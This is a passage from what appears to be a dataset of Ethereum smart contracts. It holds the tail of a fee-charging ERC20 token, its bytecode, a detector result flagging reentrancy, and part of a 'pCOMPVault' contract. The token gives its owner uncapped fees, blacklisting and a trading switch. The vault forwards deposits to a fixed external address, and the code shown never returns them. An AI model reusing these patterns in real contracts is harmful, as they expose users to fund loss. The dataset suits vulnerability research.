_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf7146104545780638f9a55c01461047457806395d89b411461048a57806398a5c315146104b657600080fd5b80637d1db4a5146103f35780637f2feddc146104095780638da5cb5b1461043657600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038957806370a082311461039e578063715018a6146103be57806374010ece146103d357600080fd5b8063313ce5671461030d57806349bd5a5e146103295780636b999053146103495780636d8aa8f81461036957600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d75780632fd689e3146102f757600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195d565b610601565b005b34801561020a57600080fd5b5060408051808201909152600f81526e086c2ee4086ead8e84086d0eae4c6d608b1b60208201525b60405161023f9190611a22565b60405180910390f35b34801561025457600080fd5b50610268610263366004611a77565b6106a0565b604051901515815260200161023f565b34801561028457600080fd5b50601454610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b5069d3c21bcecced656536005b60405190815260200161023f565b3480156102e357600080fd5b506102686102f2366004611aa3565b6106b7565b34801561030357600080fd5b506102c960185481565b34801561031957600080fd5b506040516009815260200161023f565b34801561033557600080fd5b50601554610298906001600160a01b031681565b34801561035557600080fd5b506101fc610364366004611ae4565b610720565b34801561037557600080fd5b506101fc610384366004611b11565b61076b565b34801561039557600080fd5b506101fc6107b3565b3480156103aa57600080fd5b506102c96103b9366004611ae4565b6107fe565b3480156103ca57600080fd5b506101fc610820565b3480156103df57600080fd5b506101fc6103ee366004611b2c565b610894565b3480156103ff57600080fd5b506102c960165481565b34801561041557600080fd5b506102c9610424366004611ae4565b60116020526000908152604090205481565b34801561044257600080fd5b506000546001600160a01b0316610298565b34801561046057600080fd5b506101fc61046f366004611b11565b6108c3565b34801561048057600080fd5b506102c960175481565b34801561049657600080fd5b5060408051808201909152600381526243434360e81b6020820152610232565b3480156104c257600080fd5b506101fc6104d1366004611b2c565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b45565b61093a565b34801561050257600080fd5b50610268610511366004611a77565b610978565b34801561052257600080fd5b50610268610531366004611ae4565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b77565b6109d9565b34801561058757600080fd5b506102c9610596366004611bfb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b2c565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611ae4565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c34565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c95565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611dad602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c34565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c34565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c34565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c34565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c34565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c34565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c34565b60005b82811015610a74578160056000868685818110610a2557610a25611c69565b9050602002016020810190610a3a9190611ae4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611c95565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c34565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c34565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611cae565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611465565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a22565b5060006112248486611cc6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d8611493565b90506112e483826114b6565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c69565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b09190611cdd565b816001815181106113c3576113c3611c69565b6001600160a01b0392831660209182029290920101526014546113e99130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611422908590600090869030904290600401611cfa565b600060405180830381600087803b15801561143c57600080fd5b505af1158015611450573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611472576114726114f8565b61147d848484611526565b80610a7457610a74600e54600c55600f54600d55565b60008060006114a061161d565b90925090506114af82826114b6565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611661565b600c541580156115085750600d54155b1561150f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115388761168f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156a90876116ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611599908661172e565b6001600160a01b0389166000908152600260205260409020556115bb8161178d565b6115c584836117d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160a91815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecced6565360061163a82826114b6565b8210156116585750506006549269d3c21bcecced6565360092509050565b90939092509050565b600081836116825760405162461bcd60e51b815260040161062b9190611a22565b5060006112248486611d6b565b60008060008060008060008060006116ac8a600c54600d546117fb565b92509250925060006116bc611493565b905060008060006116cf8e878787611850565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b60008061173b8385611cae565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b6000611797611493565b905060006117a583836118a0565b306000908152600260205260409020549091506117c2908261172e565b30600090815260026020526040902055505050565b6006546117e490836116ec565b6006556007546117f4908261172e565b6007555050565b6000808080611815606461180f89896118a0565b906114b6565b90506000611828606461180f8a896118a0565b905060006118408261183a8b866116ec565b906116ec565b9992985090965090945050505050565b600080808061185f88866118a0565b9050600061186d88876118a0565b9050600061187b88886118a0565b9050600061188d8261183a86866116ec565b939b939a50919850919650505050505050565b6000826000036118b2575060006106b1565b60006118be8385611d8d565b9050826118cb8583611d6b565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b803561195881611938565b919050565b6000602080838503121561197057600080fd5b823567ffffffffffffffff8082111561198857600080fd5b818501915085601f83011261199c57600080fd5b8135818111156119ae576119ae611922565b8060051b604051601f19603f830116810181811085821117156119d3576119d3611922565b6040529182528482019250838101850191888311156119f157600080fd5b938501935b82851015611a1657611a078561194d565b845293850193928501926119f6565b98975050505050505050565b600060208083528351808285015260005b81811015611a4f57858101830151858201604001528201611a33565b81811115611a61576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8a57600080fd5b8235611a9581611938565b946020939093013593505050565b600080600060608486031215611ab857600080fd5b8335611ac381611938565b92506020840135611ad381611938565b929592945050506040919091013590565b600060208284031215611af657600080fd5b81356112e481611938565b8035801515811461195857600080fd5b600060208284031215611b2357600080fd5b6112e482611b01565b600060208284031215611b3e57600080fd5b5035919050565b60008060008060808587031215611b5b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8c57600080fd5b833567ffffffffffffffff80821115611ba457600080fd5b818601915086601f830112611bb857600080fd5b813581811115611bc757600080fd5b8760208260051b8501011115611bdc57600080fd5b602092830195509350611bf29186019050611b01565b90509250925092565b60008060408385031215611c0e57600080fd5b8235611c1981611938565b91506020830135611c2981611938565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca757611ca7611c7f565b5060010190565b60008219821115611cc157611cc1611c7f565b500190565b600082821015611cd857611cd8611c7f565b500390565b600060208284031215611cef57600080fd5b81516112e481611938565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4a5784516001600160a01b031683529383019391830191600101611d25565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da757611da7611c7f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bead1d2a36c2ca9bfd64edf35eec5908a5786f2f8e647a4156372c8a6721b69464736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,960 |
0xfb594b9a0cacd9a4e4c506b4d318f7a7aa1cadc9 | pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pCOMPVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
mapping (address => uint256) amount;
uint256 time;
}
IERC20 public token = IERC20(0xc00e94Cb662C3520282E6f5717214004A7f26888);
address public governance;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount = 0;
event Withdrawn(address indexed user, uint256 amount);
constructor () public {
governance = msg.sender;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this));
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint256 _amount) public {
require(_amount > 0, "can't deposit 0");
uint arrayLength = addressIndices.length;
bool found = false;
for (uint i = 0; i < arrayLength; i++) {
if(addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 realAmount = _amount.mul(995).div(1000);
uint256 feeAmount = _amount.mul(5).div(1000);
address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC;
address vaultAddress = 0x071E6194403942E8b38fd057B7Cf8871Bd525090; // Vault14 Address
token.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
}
function reward(uint256 _amount) external {
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token.safeTransferFrom(msg.sender, address(this), _amount);
uint arrayLength = addressIndices.length;
for (uint i = 0; i < arrayLength; i++) {
rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].add(_amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit));
_rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit);
}
_rewards[_rewardCount].time = block.timestamp;
_rewardCount++;
}
function withdrawAll() external {
withdraw(rewardBalances[msg.sender]);
}
function withdraw(uint256 _amount) public {
require(_rewardCount > 0, "no reward amount");
require(_amount > 0, "can't withdraw 0");
uint256 availableWithdrawAmount = availableWithdraw(msg.sender);
if (_amount > availableWithdrawAmount) {
_amount = availableWithdrawAmount;
}
token.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableWithdraw(address owner) public view returns(uint256){
uint256 availableWithdrawAmount = rewardBalances[owner];
for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) {
availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days));
if (i == 0) break;
}
return availableWithdrawAmount;
}
